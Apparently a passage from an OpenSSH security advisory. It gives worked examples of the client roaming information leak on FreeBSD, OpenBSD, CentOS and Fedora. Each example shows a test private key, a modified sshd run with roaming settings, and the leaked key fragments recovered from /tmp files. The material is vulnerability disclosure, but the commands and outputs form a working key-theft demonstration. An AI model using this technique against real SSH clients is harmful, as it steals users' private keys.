$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:1280" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-97ed9f59/infoleak

MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme


Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key

$ head -n 1 /etc/motd FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013

$ /usr/bin/ssh -V OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= -----END DSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:768" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-9448bb7f/infoleak

MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To ...

env ROAMING="client_out_buf_size:1024" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-279f5e2b/infoleak

... iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= ...


Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013

$ /usr/bin/ssh -V OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:2048" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-35ee7ab0/infoleak

MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-6cb31d82/infoleak

... uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=


Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V OpenSSH_7.0, LibreSSL 2.2.2

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s 17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8 L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19 qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB +s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG 8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== -----END RSA PRIVATE KEY-----

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1 [connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug described in the Mitigating Factors of the Information Leak section, and crashes because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section)

cat /tmp/roaming-a5eca355/infoleak

ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==


Private Key Disclosure example: CentOS 7, 1024-bit DSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2 hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4= -----END DSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-b7b16dfc/infoleak

jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

strings /tmp/roaming-b324ce87/infoleak

IuQL R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9v

strings /tmp/roaming-24011739/infoleak

KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

strings /tmp/roaming-37456846/infoleak

LsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA yq4Kwj/

strings /tmp/roaming-988ff54c/infoleak

GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

strings /tmp/roaming-53887fa5/infoleak

/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4


Private Key Disclosure example: Fedora 20, 2048-bit RSA key

$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ /B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy 2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5 r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU= -----END RSA PRIVATE KEY-----

env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 ...

strings /tmp/roaming-a2bbc5f6/infoleak

cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

strings /tmp/roaming-47b46456/infoleak

RGAcE0nc GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9

strings /tmp/roaming-7a6717ae/infoleak

cawMW4LZ1 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

strings /tmp/roaming-f3091f08/infoleak

lZ3w0qHe nSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

strings /tmp/roaming-62a9e9a3/infoleak

lZ3w0qHe r3TwTa0pPEk11 LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37P

strings /tmp/roaming-8de31ed5/infoleak

7qyvNznQ 26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

strings /tmp/roaming-f5e0fbcc/infoleak

